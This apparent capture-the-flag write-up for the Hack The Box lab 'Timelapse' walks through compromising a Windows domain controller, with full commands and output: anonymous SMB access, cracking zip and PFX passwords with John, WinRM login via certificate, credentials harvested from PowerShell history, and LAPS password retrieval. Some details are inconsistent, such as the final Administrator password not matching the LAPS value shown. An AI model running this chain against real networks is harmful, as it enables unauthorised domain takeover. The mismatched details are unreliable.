Timelapse is an Easy Windows machine, which involves accessing a publicly accessible SMB share that contains a zip file. This zip file requires a password which can be cracked by using John. Extracting the zip file outputs a password encrypted PFX file, which can be cracked with John as well, by converting the PFX file to a hash format readable by John. From the PFX file an SSL certificate and a private key can be extracted, which is used to login to the system over WinRM. After authentication we discover a PowerShell history file containing login credentials for the svc_deploy user. User enumeration shows that svc_deploy is part of a group named LAPS_Readers. The LAPS_Readers group has the ability to manage passwords in LAPS and any user in this group can read the local passwords for machines in the domain. By abusing this trust we retrieve the password for the Administrator and gain a WinRM session
Recon
nmap
mcsuck➜ timelapse ᐅ nmap -p 53,88,135,139,389,445,464,593,636,3268,3269,5986,9389,49667,49673,49674,49696,62656 -sCV 10.129.227.113
Starting Nmap 7.98 ( https://nmap.org ) at 2026-04-26 18:41 +0300
Nmap scan report for 10.129.227.113
Host is up (0.54s latency).
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-04-26 23:42:00Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: timelapse.htb, Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: timelapse.htb, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5986/tcp open ssl/wsmans?
|_ssl-date: 2026-04-26T23:44:16+00:00; +7h59m58s from scanner time.
| ssl-cert: Subject: commonName=dc01.timelapse.htb
| Not valid before: 2021-10-25T14:05:29
|_Not valid after: 2022-10-25T14:25:29
| tls-alpn:
| h2
|_ http/1.1
9389/tcp open mc-nmf .NET Message Framing
49667/tcp open msrpc Microsoft Windows RPC
49673/tcp open msrpc Microsoft Windows RPC
49674/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49696/tcp filtered unknown
62656/tcp filtered unknown
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2026-04-26T23:43:39
|_ start_date: N/A
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled and required
|_clock-skew: mean: 7h59m57s, deviation: 0s, median: 7h59m57s
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 166.98 seconds
Key takeaways from the nmap scan result we can see that 53 (DNS), 88 (Kerberos), 389 (LDAP), and 445 (SMB) open together almost always indicate that this target is a Windows Active Directory Domain Controller.
The domain is identified as timelapse.htb and the hostname is DC01
Before proceeding we are going to add the domain information to the host file
10.129.227.113 dc01.timelapse.htb timelapse.htb
We can also see that WinRM is open on port 5986 but wrapped with TLS which means we can authenticate to it using client certificates which perfectly aligns with finding that PFX file later
Enumeration
SMB port 445
Since Nmap shows port 445 (SMB) is open, our next logical step is to enumerate the SMB service. Its very common for administrators to misconfigure share permissions or leave sensitive files in public or anonymous shares.
We will attempt a null session to list available shares and check if we can read any files that might provide credentials, configuration details, or other sensitive information.
First we check the SMB details with NetExec:
mcsuck➜ timelapse ᐅ nxc smb dc01.timelapse.htb
SMB 10.129.32.41 445 DC01
[*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:timelapse.htb)
(signing:True) (SMBv1:None) (Null Auth:True)
This confirms that null authentication is true, next would be to list the available shares
mcsuck➜ timelapse ᐅ smbclient -L //dc01.timelapse.htb -N
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ IPC Remote IPC
NETLOGON Disk Logon server share
Shares Disk
SYSVOL Disk Logon server share
Initial SMB enumeration using smbclient confirms that a null session is permitted and we are able to list the sharess without providing credentials. while standard administrative shares that end with $ are visible, the most interesting find os a non-standard share named Shares . This share likely contains the data we need to move forward, and our next step is to test if we have read access to it and enumerate its contents
mcsuck➜ timelapse ᐅ smbclient //dc01.timelapse.htb/Shares -N
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Mon Oct 25 18:39:15 2021
.. D 0 Mon Oct 25 18:39:15 2021
Dev D 0 Mon Oct 25 22:40:06 2021
HelpDesk D 0 Mon Oct 25 18:48:42 2021
6367231 blocks of size 4096. 1335977 blocks available
smb: \>
An ls command reveals two subdirectories: Dev and HelpDesk these directory suggest they might contain sensitive information
smb: \> ls Dev\
. D 0 Mon Oct 25 22:40:06 2021
.. D 0 Mon Oct 25 22:40:06 2021
winrm_backup.zip A 2611 Mon Oct 25 18:46:42 2021
6367231 blocks of size 4096. 1334722 blocks available
smb: \> ls HelpDesk\
. D 0 Mon Oct 25 18:48:42 2021
.. D 0 Mon Oct 25 18:48:42 2021
LAPS.x64.msi A 1118208 Mon Oct 25 17:57:50 2021
LAPS_Datasheet.docx A 104422 Mon Oct 25 17:57:46 2021
LAPS_OperationsGuide.docx A 641378 Mon Oct 25 17:57:40 2021
LAPS_TechnicalSpecification.docx A 72683 Mon Oct 25 17:57:44 2021
6367231 blocks of size 4096. 1334722 blocks available
The Dev Directory contains a single file winrm_backup.zip . This file name is a massive “Thanks captain obvious” We already know from NMAP scan the WinRM over TLS is running on port 5986.
The Helpdesk directory is packed with documentation explicitly about Microsoft LAPS. This is critical information: if we gain initial foothold, our privilege escalation path will almost certainly involve abusing LAPS permissions (maybe?)
Based on the direct correlation between the filename winrm_backup.zip and the WinRM service already identified on port 5986, this archive becomes our primary target for initial access.
Initial access
We use SMB’s get caoomand to download the file for offline analysis
smb: \Dev\> get winrm_backup.zip
getting file \Dev\winrm_backup.zip of size 2611 as winrm_backup.zip (0.8 KiloBytes/sec) (average 1.2 KiloBytes/sec)
smb: \Dev\>
With the file locally available, we first inspect its contents with unzip to understand what we're dealing with.
milksteak➜ timelapse ᐅ unzip -l winrm_backup.zip
Archive: winrm_backup.zip
Length Date Time Name
--------- ---------- ----- ----
2555 2021-10-25 17:21 legacyy_dev_auth.pfx
--------- -------
2555 1 file
The archive contains a single file with a .pfx extension. A PFX (Personal Information Exchange) filw, defined by the PKCS#12 standard, is a container format used to bundle a private key with its corresponding SSL certificate.
Attempting extraction without a password confirms the archive is protected:
milksteak➜ timelapse ᐅ unzip winrm_backup.zip
Archive: winrm_backup.zip
[winrm_backup.zip] legacyy_dev_auth.pfx password:
Enters JOHN THE RIPPER!!!!
John the ripper requires the password hash in a specific format. For ZIP files, we use the companion tool zip2john to extract the hash into a format John can process.
milksteak➜ timelapse ᐅ zip2john winrm_backup.zip > zip.hash
Created directory: /home/xi/.john
ver 2.0 efh 5455 efh 7875 winrm_backup.zip/legacyy_dev_auth.pfx PKZIP Encr: TS_chk, cmplen=2405, decmplen=2555, crc=12EC5683 ts=72AA cs=72aa type=8
With the hash extracted, we launch John against the classic rockyou.txt wordlist
milksteak➜ timelapse ᐅ john zip.hash --wordlist=/home/xi/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
No password hashes left to crack (see FAQ)
milksteak➜ timelapse ᐅ john zip.hash --show
winrm_backup.zip/legacyy_dev_auth.pfx:supremelegacy:legacyy_dev_auth.pfx:winrm_backup.zip::winrm_backup.zip
1 password hash cracked, 0 left
milksteak➜ timelapse ᐅ
John successfully recovers the password: supremelegacy
With the password in hand, we can now extract the contents of the archive using unzip with the -P flag to supply the pasword non-interactive
milksteak➜ timelapse ᐅ unzip -P supremelegacy winrm_backup.zip
Archive: winrm_backup.zip
inflating: legacyy_dev_auth.pfx
With the PFX file extracred, our next step is to examine its contents. The standard tool for parsing PKCS #12 file is openssl . We attempt to extract the certificate and private key without supplying a password, which will quickly confirm whether the file is protected
milksteak➜ timelapse ᐅ openssl pkcs12 -in legacyy_dev_auth.pfx -info -noout
Enter Import Password:
Converting to a crackable format, we can use John the ripper companion tool to extract the hash from PFX file:
milksteak➜ timelapse ᐅ pfx2john legacyy_dev_auth.pfx > pfx.hash
milksteak➜ timelapse ᐅ john pfx.hash --wordlist=/home/xi/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (pfx, (.pfx, .p12) [PKCS#12 PBE (SHA1/SHA2) 256/256 AVX2 8x])
Cost 1 (iteration count) is 2000 for all loaded hashes
Cost 2 (mac-type [1:SHA1 224:SHA224 256:SHA256 384:SHA384 512:SHA512]) is 1 for all loaded hashes
Will run 12 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
thuglegacy (legacyy_dev_auth.pfx)
1g 0:00:00:26 DONE (2026-06-18 23:21) 0.03713g/s 120005p/s 120005c/s 120005C/s thurgkub..thsco04
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
weird password: thuglegacy
With the PFX passphrase thuglegacy recovered, we can now unlock the container. However, before blindly extracting files, we first investigate what the PFX actually contains. The -info flag with -noout displays the internal structure without writing any files:
milksteak➜ timelapse ᐅ openssl pkcs12 -in legacyy_dev_auth.pfx -info -noout -passin pass:thuglegacy
MAC: sha1, Iteration 2000
MAC length: 20, salt length: 20
PKCS7 Data
Shrouded Keybag: pbeWithSHA1And3-KeyTripleDES-CBC, Iteration 2000
PKCS7 Data
Certificate bag
First lets decrypt the key using the password:
openssl pkcs12 -in legacyy_dev_auth.pfx -nocerts -out legacy.key -passin pass:thuglegacy
Enter PEM pass phrase:
Verifying - Enter PEM pass phrase:
Then we dump the cert:
milksteak➜ timelapse ᐅ ls legacy*
legacy.key legacyy.crt legacyy_dev_auth.pfx
We authenticate to WinRM using the extracted certificate and private key:
milksteak➜ timelapse ᐅ evil-winrm -i dc01.timelapse.htb -S -c legacyy.crt -k legacy.key
Evil-WinRM shell v3.9
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Warning: SSL enabled
Info: Establishing connection to remote endpoint
Enter PEM pass phrase:
*Evil-WinRM* PS C:\Users\legacyy\Documents>
Horizontal Movement to SVC_DEPLOY
With a foothold as legacyy , our next objective is to locate credentials or misconfiguration that enable further movement.
On Windows, PowerShell’s PSReadline module persists command history to a plaintext file, often capturing sensitive commands and credentials passed directly on the command line. We inspect this file to see what the legacyy user has been doing
*Evil-WinRM* PS C:\Users\legacyy\Documents> cd $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine
Enter PEM pass phrase:
*Evil-WinRM* PS C:\Users\legacyy\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine> ls
Directory: C:\Users\legacyy\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 3/3/2022 11:46 PM 434 ConsoleHost_history.txt
*Evil-WinRM* PS C:\Users\legacyy\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine> cat ConsoleHost_history.txt
Enter PEM pass phrase:
whoami
ipconfig /all
netstat -ano |select-string LIST
$so = New-PSSessionOption -SkipCACheck -SkipCNCheck -SkipRevocationCheck
$p = ConvertTo-SecureString 'E3R$Q62^12p7PLlC%KWaxuaV' -AsPlainText -Force
$c = New-Object System.Management.Automation.PSCredential ('svc_deploy', $p)
invoke-command -computername localhost -credential $c -port 5986 -usessl -
SessionOption $so -scriptblock {whoami}
get-aduser -filter * -properties *
exit
The file exposes two critical findings: a service account named svc_deploy with the password
E3R$Q62^12p7PLlC%KWaxuaV was used successfully against the domain controller, and the final command queries ms-MCs-AdmPwd the Active Directory attribute the stores LAPS-managed local administrator passwords.
I will connect with evil-winrm with the found creds:
milksteak➜ timelapse ᐅ evil-winrm -i timelapse.htb -u svc_deploy -p 'E3R$Q62^12p7PLlC%KWaxuaV' -S
Evil-WinRM shell v3.9
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Warning: SSL enabled
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\svc_deploy\Documents>
Shell as system
We now enumerate this user’s group memberships to understand why legacyy was querying LAPS attributes:
*Evil-WinRM* PS C:\Users\svc_deploy\Documents> net user svc_deploy /domain
User name svc_deploy
Full Name svc_deploy
Comment
User's comment
Country/region code 000 (System Default)
Account active Yes
Account expires Never
Password last set 10/25/2021 12:12:37 PM
Password expires Never
Password changeable 10/26/2021 12:12:37 PM
Password required Yes
User may change password Yes
Workstations allowed All
Logon script
User profile
Home directory
Last logon 10/25/2021 12:25:53 PM
Logon hours allowed All
Local Group Memberships *Remote Management Use
Global Group memberships *LAPS_Readers *Domain Users
The command completed successfully.
The LAPS_Readers group directly confirms the suspicion raised by legacyy's PowerShell history. This account was specifically granted the ability to read LAPS passwords.
We query the LAPS-managed password for the Domain Controller:
*Evil-WinRM* PS C:\Users\svc_deploy\Documents> Get-ADComputer -Identity DC01 -Property ms-Mcs-AdmPwd
DistinguishedName : CN=DC01,OU=Domain Controllers,DC=timelapse,DC=htb
DNSHostName : dc01.timelapse.htb
Enabled : True
ms-Mcs-AdmPwd : C4%a-7t241+%b&6Ef8@sS2.J
Name : DC01
ObjectClass : computer
ObjectGUID : 6e10b102-6936-41aa-bb98-bed624c9b98f
SamAccountName : DC01$
SID : S-1-5-21-671920749-559770252-3318990721-1000
UserPrincipalName :
The local administrator password for this box is C4%a-7t241+%b&6Ef8@sS2.J.
I will connect with evil-winrm again
milksteak➜ timelapse ᐅ evil-winrm -i dc01.timelapse.htb -S -u Administrator -p 'CNR18o3hF{pba&H6Lo51q0+h'
Evil-WinRM shell v3.9
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Warning: SSL enabled
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents>
Timelapse shows how a single mistake, an open SMB share with a forgotten backup file, can unravel an entire domain. That file led to a certificate, the certificate led to a shell, and a PowerShell history file handed over credentials that could read the Administrator password through LAPS. Each step relied on the one before it. Small exposures chain together, and that is what makes them dangerous.